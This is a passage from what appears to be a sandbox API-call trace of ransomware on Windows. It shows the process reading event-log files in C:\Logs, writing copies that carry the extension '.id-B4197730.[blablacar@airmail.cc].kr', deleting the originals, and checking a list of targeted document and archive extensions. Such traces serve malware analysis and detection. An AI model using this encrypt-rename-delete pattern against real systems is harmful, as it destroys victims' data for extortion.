lpOverlapped=0x0) returned 1 [0099.469] WriteFile (in: hFile=0x380, lpBuffer=0x4013020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x3a5fc94, lpOverlapped=0x0 | out: lpBuffer=0x4013020*, lpNumberOfBytesWritten=0x3a5fc94*=0x11010, lpOverlapped=0x0) returned 1 [0099.471] ReadFile (in: hFile=0x2b4, lpBuffer=0x4013020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a5fecc, lpOverlapped=0x0 | out: lpBuffer=0x4013020*, lpNumberOfBytesRead=0x3a5fecc*=0x0, lpOverlapped=0x0) returned 1 [0099.471] WriteFile (in: hFile=0x380, lpBuffer=0x4013020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x3a5fc94, lpOverlapped=0x0 | out: lpBuffer=0x4013020*, lpNumberOfBytesWritten=0x3a5fc94*=0x132, lpOverlapped=0x0) returned 1 [0099.471] SetEndOfFile (hFile=0x380) returned 1 [0099.472] CloseHandle (hObject=0x380) returned 1 [0099.474] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a5fec0 | out: lpNewFilePointer=0x0) returned 1 [0099.474] SetEndOfFile (hFile=0x2b4) returned 1 [0099.476] CloseHandle (hObject=0x2b4) returned 1 [0099.476] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0099.476] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-bits-client%4operational.evtx")) returned 1 [0099.477] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx") returned 55 [0099.477] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx") returned 55 [0099.477] lstrlenW (lpString=".doc") returned 4 [0099.477] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0099.477] lstrlenW (lpString=".docx") returned 5 [0099.477] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0099.477] lstrlenW (lpString=".pdf") returned 4 [0099.477] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0099.477] lstrlenW (lpString=".xls") returned 4 [0099.477] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0099.477] lstrlenW (lpString=".xlsx") returned 5 [0099.477] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0099.477] lstrlenW (lpString=".ppt") returned 4 [0099.477] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0099.477] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx") returned 55 [0099.477] lstrlenW (lpString=".zip") returned 4 [0099.477] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0099.477] lstrlenW (lpString=".rar") returned 4 [0099.477] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0099.478] lstrlenW (lpString=".bz2") returned 4 [0099.478] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0099.478] lstrlenW (lpString=".7z") returned 3 [0099.478] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0099.478] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx") returned 55 [0099.478] lstrlenW (lpString=".dbf") returned 4 [0099.478] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0099.478] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx") returned 55 [0099.478] lstrlenW (lpString=".1cd") returned 4 [0099.478] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0099.478] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx") returned 55 [0099.478] lstrlenW (lpString=".jpg") returned 4 [0099.478] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0099.478] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx") returned 55 [0099.478] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx") returned 55 [0099.478] lstrlenW (lpString=".doc") returned 4 [0099.478] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0099.478] lstrlenW (lpString=".docx") returned 5 [0099.478] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0099.478] lstrlenW (lpString=".pdf") returned 4 [0099.478] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0099.478] lstrlenW (lpString=".xls") returned 4 [0099.478] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0099.479] lstrlenW (lpString=".xlsx") returned 5 [0099.479] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0099.479] lstrlenW (lpString=".ppt") returned 4 [0099.479] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0099.479] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx") returned 55 [0099.479] lstrlenW (lpString=".zip") returned 4 [0099.479] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0099.479] lstrlenW (lpString=".rar") returned 4 [0099.479] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0099.479] lstrlenW (lpString=".bz2") returned 4 [0099.479] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0099.479] lstrlenW (lpString=".7z") returned 3 [0099.479] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0099.479] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx") returned 55 [0099.479] lstrlenW (lpString=".dbf") returned 4 [0099.479] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0099.479] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx") returned 55 [0099.479] lstrlenW (lpString=".1cd") returned 4 [0099.479] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0099.479] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx") returned 55 [0099.479] lstrlenW (lpString=".jpg") returned 4 [0099.479] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0099.480] lstrcmpiW (lpString1=".evtx", lpString2=".kr") returned -1 [0099.480] lstrlenW (lpString="Microsoft-Windows-CodeIntegrity%4Operational.evtx") returned 49 [0099.480] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-codeintegrity%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0099.480] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x3a5ff14 | out: lpFileSize=0x3a5ff14*=69632) returned 1 [0099.480] CloseHandle (hObject=0x2b4) returned 1 [0099.480] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-codeintegrity%4operational.evtx")) returned 0x20 [0099.480] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\logs\\microsoft-windows-codeintegrity%4operational.evtx.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0099.480] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-codeintegrity%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0099.829] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a5fec0 | out: lpNewFilePointer=0x0) returned 1 [0099.829] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a5fec0 | out: lpNewFilePointer=0x0) returned 1 [0099.829] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\logs\\microsoft-windows-codeintegrity%4operational.evtx.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0099.830] GetLastError () returned 0x0 [0099.830] ReadFile (in: hFile=0x35c, lpBuffer=0x4013020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a5fecc, lpOverlapped=0x0 | out: lpBuffer=0x4013020*, lpNumberOfBytesRead=0x3a5fecc*=0x11000, lpOverlapped=0x0) returned 1 [0099.833] WriteFile (in: hFile=0x358, lpBuffer=0x4013020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x3a5fc94, lpOverlapped=0x0 | out: lpBuffer=0x4013020*, lpNumberOfBytesWritten=0x3a5fc94*=0x11010, lpOverlapped=0x0) returned 1 [0099.835] ReadFile (in: hFile=0x35c, lpBuffer=0x4013020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a5fecc, lpOverlapped=0x0 | out: lpBuffer=0x4013020*, lpNumberOfBytesRead=0x3a5fecc*=0x0, lpOverlapped=0x0) returned 1 [0099.836] WriteFile (in: hFile=0x358, lpBuffer=0x4013020*, nNumberOfBytesToWrite=0x136, lpNumberOfBytesWritten=0x3a5fc94, lpOverlapped=0x0 | out: lpBuffer=0x4013020*, lpNumberOfBytesWritten=0x3a5fc94*=0x136, lpOverlapped=0x0) returned 1 [0099.836] SetEndOfFile (hFile=0x358) returned 1 [0099.836] CloseHandle (hObject=0x358) returned 1 [0099.839] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a5fec0 | out: lpNewFilePointer=0x0) returned 1 [0099.839] SetEndOfFile (hFile=0x35c) returned 1 [0099.854] CloseHandle (hObject=0x35c) returned 1 [0099.854] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0099.854] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-codeintegrity%4operational.evtx")) returned 1 [0099.855] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx") returned 57 [0099.855] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx") returned 57 [0099.855] lstrlenW (lpString=".doc") returned 4 [0099.855] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0099.855] lstrlenW (lpString=".docx") returned 5 [0099.855] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0099.855] lstrlenW (lpString=".pdf") returned 4 [0099.855] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0099.855] lstrlenW (lpString=".xls") returned 4 [0099.855] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0099.855] lstrlenW (lpString=".xlsx") returned 5 [0099.855] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0099.855] lstrlenW (lpString=".ppt") returned 4 [0099.855] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0099.855] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx") returned 57 [0099.855] lstrlenW (lpString=".zip") returned 4 [0099.856] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0099.856] lstrlenW (lpString=".rar") returned 4 [0099.856] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0099.856] lstrlenW (lpString=".bz2") returned 4 [0099.856] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0099.856] lstrlenW (lpString=".7z") returned 3 [0099.856] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0099.856] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx") returned 57 [0099.856] lstrlenW (lpString=".dbf") returned 4 [0099.856] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0099.856] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx") returned 57 [0099.856] lstrlenW (lpString=".1cd") returned 4 [0099.856] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0099.856] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx") returned 57 [0099.856] lstrlenW (lpString=".jpg") returned 4 [0099.856] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0099.856] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx") returned 57 [0099.856] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx") returned 57 [0099.856] lstrlenW (lpString=".doc") returned 4 [0099.856] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0099.856] lstrlenW (lpString=".docx") returned 5 [0099.856] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0099.856] lstrlenW (lpString=".pdf") returned 4 [0099.856] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0099.856] lstrlenW (lpString=".xls") returned 4 [0099.857] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0099.857] lstrlenW (lpString=".xlsx") returned 5 [0099.857] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0099.857] lstrlenW (lpString=".ppt") returned 4 [0099.857] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0099.857] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx") returned 57 [0099.857] lstrlenW (lpString=".zip") returned 4 [0099.857] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0099.857] lstrlenW (lpString=".rar") returned 4 [0099.857] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0099.857] lstrlenW (lpString=".bz2") returned 4 [0099.857] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0099.857] lstrlenW (lpString=".7z") returned 3 [0099.857] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0099.857] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx") returned 57 [0099.857] lstrlenW (lpString=".dbf") returned 4 [0099.857] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0099.857] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx") returned 57 [0099.857] lstrlenW (lpString=".1cd") returned 4 [0099.857] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0099.857] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx") returned 57 [0099.857] lstrlenW (lpString=".jpg") returned 4 [0099.857] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0099.858] lstrcmpiW (lpString1=".evtx", lpString2=".kr") returned -1 [0099.858] lstrlenW (lpString="Microsoft-Windows-DeviceSetupManager%4Admin.evtx") returned 48 [0099.858] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4admin.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0099.858] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x3a5ff14 | out: lpFileSize=0x3a5ff14*=69632) returned 1 [0099.858] CloseHandle (hObject=0x35c) returned 1 [0099.858] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4admin.evtx")) returned 0x20 [0099.858] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4admin.evtx.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0099.858] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0099.859] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a5fec0 | out: lpNewFilePointer=0x0) returned 1 [0099.859] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a5fec0 | out: lpNewFilePointer=0x0) returned 1 [0099.859] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4admin.evtx.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0099.859] GetLastError () returned 0x0 [0099.859] ReadFile (in: hFile=0x35c, lpBuffer=0x4013020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a5fecc, lpOverlapped=0x0 | out: lpBuffer=0x4013020*, lpNumberOfBytesRead=0x3a5fecc*=0x11000, lpOverlapped=0x0) returned 1 [0099.862] WriteFile (in: hFile=0x358, lpBuffer=0x4013020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x3a5fc94, lpOverlapped=0x0 | out: lpBuffer=0x4013020*, lpNumberOfBytesWritten=0x3a5fc94*=0x11010, lpOverlapped=0x0) returned 1 [0099.865] ReadFile (in: hFile=0x35c, lpBuffer=0x4013020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a5fecc, lpOverlapped=0x0 | out: lpBuffer=0x4013020*, lpNumberOfBytesRead=0x3a5fecc*=0x0, lpOverlapped=0x0) returned 1 [0099.865] WriteFile (in: hFile=0x358, lpBuffer=0x4013020*, nNumberOfBytesToWrite=0x134, lpNumberOfBytesWritten=0x3a5fc94, lpOverlapped=0x0 | out: lpBuffer=0x4013020*, lpNumberOfBytesWritten=0x3a5fc94*=0x134, lpOverlapped=0x0) returned 1 [0099.865] SetEndOfFile (hFile=0x358) returned 1 [0099.865] CloseHandle (hObject=0x358) returned 1 [0099.872] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a5fec0 | out: lpNewFilePointer=0x0) returned 1 [0099.872] SetEndOfFile (hFile=0x35c) returned 1 [0099.873] CloseHandle (hObject=0x35c) returned 1 [0099.873] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0099.874] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4admin.evtx")) returned 1 [0099.874] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx") returned 56 [0099.874] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx") returned 56 [0099.874] lstrlenW (lpString=".doc") returned 4 [0099.874] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0099.874] lstrlenW (lpString=".docx") returned 5 [0099.874] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0099.874] lstrlenW (lpString=".pdf") returned 4 [0099.874] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0099.874] lstrlenW (lpString=".xls") returned 4 [0099.874] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0099.874] lstrlenW (lpString=".xlsx") returned 5 [0099.874] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0099.874] lstrlenW (lpString=".ppt") returned 4 [0099.874] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0099.874] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx") returned 56 [0099.874] lstrlenW (lpString=".zip") returned 4 [0099.874] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0099.875] lstrlenW (lpString=".rar") returned 4 [0099.875] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0099.875] lstrlenW (lpString=".bz2") returned 4 [0099.875] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0099.875] lstrlenW (lpString=".7z") returned 3 [0099.875] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0099.875] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx") returned 56 [0099.875] lstrlenW (lpString=".dbf") returned 4 [0099.875] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0099.875] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx") returned 56 [0099.875] lstrlenW (lpString=".1cd") returned 4 [0099.875] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0099.875] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx") returned 56 [0099.875] lstrlenW (lpString=".jpg") returned 4 [0099.875] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0099.875] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx") returned 56 [0099.875] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx") returned 56 [0099.875] lstrlenW (lpString=".doc") returned 4 [0099.875] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0099.875] lstrlenW (lpString=".docx") returned 5 [0099.875] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0099.875] lstrlenW (lpString=".pdf") returned 4 [0099.875] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0099.876] lstrlenW (lpString=".xls") returned 4 [0099.876] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0099.876] lstrlenW (lpString=".xlsx") returned 5 [0099.876] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0099.876] lstrlenW (lpString=".ppt") returned 4 [0099.876] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0099.876] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx") returned 56 [0099.876] lstrlenW (lpString=".zip") returned 4 [0099.876] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0099.876] lstrlenW (lpString=".rar") returned 4 [0099.876] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0099.876] lstrlenW (lpString=".bz2") returned 4 [0099.876] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0099.876] lstrlenW (lpString=".7z") returned 3 [0099.876] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0099.876] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx") returned 56 [0099.876] lstrlenW (lpString=".dbf") returned 4 [0099.876] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0099.876] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx") returned 56 [0099.876] lstrlenW (lpString=".1cd") returned 4 [0099.876] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0099.876] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx") returned 56 [0099.876] lstrlenW (lpString=".jpg") returned 4 [0099.876] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0099.877] lstrcmpiW (lpString1=".evtx", lpString2=".kr") returned -1 [0099.877] lstrlenW (lpString="Microsoft-Windows-DeviceSetupManager%4Operational.evtx") returned 54 [0099.877] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0099.932] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x3a5ff14 | out: lpFileSize=0x3a5ff14*=69632) returned 1 [0099.932] CloseHandle (hObject=0x35c) returned 1 [0099.932] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4operational.evtx")) returned 0x20 [0099.933] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4operational.evtx.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0099.933] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0099.933] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a5fec0 | out: lpNewFilePointer=0x0) returned 1 [0099.933] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a5fec0 | out: lpNewFilePointer=0x0) returned 1 [0099.933] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4operational.evtx.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0099.938] GetLastError () returned 0x0 [0099.938] ReadFile (in: hFile=0x35c, lpBuffer=0x4013020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a5fecc, lpOverlapped=0x0 | out: lpBuffer=0x4013020*, lpNumberOfBytesRead=0x3a5fecc*=0x11000, lpOverlapped=0x0) returned 1 [0099.952] WriteFile (in: hFile=0x358, lpBuffer=0x4013020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x3a5fc94, lpOverlapped=0x0 | out: lpBuffer=0x4013020*, lpNumberOfBytesWritten=0x3a5fc94*=0x11010, lpOverlapped=0x0) returned 1 [0099.954] ReadFile (in: hFile=0x35c, lpBuffer=0x4013020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a5fecc, lpOverlapped=0x0 | out: lpBuffer=0x4013020*, lpNumberOfBytesRead=0x3a5fecc*=0x0, lpOverlapped=0x0) returned 1 [0099.954] WriteFile (in: hFile=0x358, lpBuffer=0x4013020*, nNumberOfBytesToWrite=0x140, lpNumberOfBytesWritten=0x3a5fc94, lpOverlapped=0x0 | out: lpBuffer=0x4013020*, lpNumberOfBytesWritten=0x3a5fc94*=0x140, lpOverlapped=0x0) returned 1 [0099.954] SetEndOfFile (hFile=0x358) returned 1 [0099.955] CloseHandle (hObject=0x358) returned 1 [0099.957] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a5fec0 | out: lpNewFilePointer=0x0) returned 1 [0099.957] SetEndOfFile (hFile=0x35c) returned 1 [0099.959] CloseHandle (hObject=0x35c) returned 1 [0099.959] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0099.959] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4operational.evtx")) returned 1 [0099.959] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx") returned 62 [0099.959] lstrlenW 